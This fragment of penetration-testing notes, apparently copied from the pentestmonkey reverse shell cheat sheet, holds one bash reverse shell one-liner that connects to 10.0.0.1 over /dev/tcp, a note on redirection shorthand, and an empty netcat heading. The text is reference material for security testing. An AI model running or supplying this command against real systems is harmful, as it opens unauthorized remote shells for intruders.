Reverse Shell in Bash
from: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
|
|
tip
The &>
(or >&
) is shorthand for redirecting stdout and stderr.
Longer form:
bash -i > /dev/tcp/10.0.0.1/8080 2>&1 0>&1
warning
/dev/tcp
is disabled in debian
Reverse Shell with Netcat
from: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
|
|